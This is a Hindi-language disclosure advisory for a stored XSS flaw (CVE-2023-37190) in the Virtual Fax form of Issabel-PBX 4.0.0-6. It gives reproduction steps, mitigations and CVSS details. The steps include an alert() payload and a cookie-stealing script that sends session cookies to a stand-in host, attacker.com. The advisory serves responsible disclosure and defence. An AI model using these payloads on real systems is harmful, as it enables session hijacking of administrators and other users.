
संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता Issabel-PBX संस्करण 4.0.0-6 में मौजूद है। एप्लिकेशन उपयोगकर्ता-आपूर्ति किए गए इनपुट को डेटाबेस में संग्रहीत करने और बाद में वेब इंटरफ़ेस में प्रस्तुत करने से पहले ठीक से सैनिटाइज़ और एन्कोड करने में विफल रहता है।
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2023-37190 |
| कमज़ोरी | संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) |
| प्रभावित उत्पाद | Issabel-PBX |
| प्रभावित संस्करण | 4.0.0-6 |
| गंभीरता | मध्यम (CVSS v3.1 स्कोर: 5.4) |
| खोजकर्ता | Sahil Ojha |
| प्रकटीकरण तिथि | 07 जुलाई 2023 |
| विक्रेता | Issabel |
| स्रोत कोड | IssabelFoundation/issabelPBX |
| परीक्षण प्लेटफ़ॉर्म | Windows |
Issabel-PBX संस्करण 4.0.0-6 में एक संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) कमज़ोरी मौजूद है। एप्लिकेशन डेटाबेस में संग्रहीत करने और बाद में वेब इंटरफ़ेस में प्रस्तुत करने से पहले उपयोगकर्ता द्वारा प्रदत्त इनपुट को ठीक से सैनिटाइज़ और एन्कोड करने में विफल रहता है।
यह कमज़ोरी Virtual Fax मॉड्यूल में मौजूद है, विशेष रूप से "New Virtual Fax" निर्माण फ़ॉर्म में। दो इनपुट पैरामीटर — Virtual Fax Name और Caller ID Name — पर्याप्त इनपुट सत्यापन या आउटपुट एन्कोडिंग से नहीं गुजरते हैं। यह एक निम्न-विशेषाधिकार प्राप्त प्रमाणित हमलावर को एप्लिकेशन के भीतर एक दुर्भावनापूर्ण JavaScript पेलोड इंजेक्ट करने और स्थायी रूप से संग्रहीत करने की अनुमति देता है।
एक बार संग्रहीत हो जाने पर, दुर्भावनापूर्ण स्क्रिप्ट स्वचालित रूप से किसी भी उपयोगकर्ता (प्रशासकों सहित) के ब्राउज़र में निष्पादित हो जाती है जो प्रभावित पृष्ठ पर जाता है, हमलावर की ओर से किसी अतिरिक्त सहभागिता की आवश्यकता नहीं होती।
इस कमज़ोरी का सफलतापूर्वक शोषण करने वाला हमलावर निम्न कार्य कर सकता है:
चूंकि पेलोड संग्रहीत (स्थायी) होता है, यह हटाए जाने तक प्रभावित पृष्ठ पर जाने वाले हर उपयोगकर्ता को प्रभावित करता है — जिससे यह रिफ्लेक्टेड XSS से अधिक गंभीर हो जाता है।
Virtual Fax NameCaller ID Nameचरण 1: मान्य क्रेडेंशियल्स का उपयोग करके Issabel-PBX वेब एप्लिकेशन में लॉग इन करें।
चरण 2: Fax → Virtual Fax → New Virtual Fax पर नेविगेट करें।
Virtual Fax Name और/या Caller ID Name फ़ील्ड में निम्नलिखित XSS पेलोड इंजेक्ट करें:
<script>alert('XSS-CVE-2023-37190')</script>
सत्र कुकी चोरी प्रदर्शित करने वाले अधिक प्रभावशाली proof-of-concept के लिए (ध्यान दें: वास्तविक हमलों में, चुराई गई कुकीज़ को ट्रांज़िट में उजागर होने से बचाने के लिए HTTPS का उपयोग किया जाता है):
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
इंजेक्ट किए गए पेलोड के साथ भरा गया फ़ॉर्म नीचे दिए गए स्क्रीनशॉट के समान दिखना चाहिए:

चरण 3: फ़ॉर्म सबमिट करने के लिए Save बटन पर क्लिक करें। पेलोड अब एप्लिकेशन डेटाबेस में स्थायी रूप से संग्रहीत हो जाता है।
चरण 4: Virtual Fax सूची पृष्ठ पर नेविगेट करें (या किसी अन्य उपयोगकर्ता — जैसे प्रशासक — को पृष्ठ पर जाने दें)। संग्रहीत स्क्रिप्ट आगंतुक के ब्राउज़र में स्वचालित रूप से निष्पादित होगी, जैसा कि नीचे दिखाया गया है:

Issabel-PBX उपयोगकर्ताओं और प्रशासकों को निम्नलिखित उपाय अपनाने की दृढ़ता से सलाह दी जाती है:
<, >, ", ', &) वाले इनपुट को अस्वीकार या सैनिटाइज़ करें।Content-Security-Policy HTTP हेडर लागू करें, जिससे XSS कमज़ोरियों का प्रभाव कम हो।Sahil Ojha
सुरक्षा शोधकर्ता
GitHub: @sahiloj
अस्वीकरण: यह रिपॉज़िटरी केवल शैक्षिक और जिम्मेदार प्रकटीकरण उद्देश्यों के लिए है। यहाँ दी गई जानकारी का उपयोग सिस्टम स्वामी की स्पष्ट लिखित अनुमति के बिना सिस्टम पर हमला करने के लिए नहीं किया जाना चाहिए। लेखक इस जानकारी के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।
| मेट्रिक | मान |
|---|
| आधार स्कोर | 5.4 (मध्यम) |
| हमला वेक्टर | नेटवर्क |
| हमला जटिलता | निम्न |
| आवश्यक विशेषाधिकार | निम्न |
| उपयोगकर्ता सहभागिता | आवश्यक |
| दायरा | परिवर्तित |
| गोपनीयता | निम्न |
| अखंडता | निम्न |
| उपलब्धता | कोई नहीं |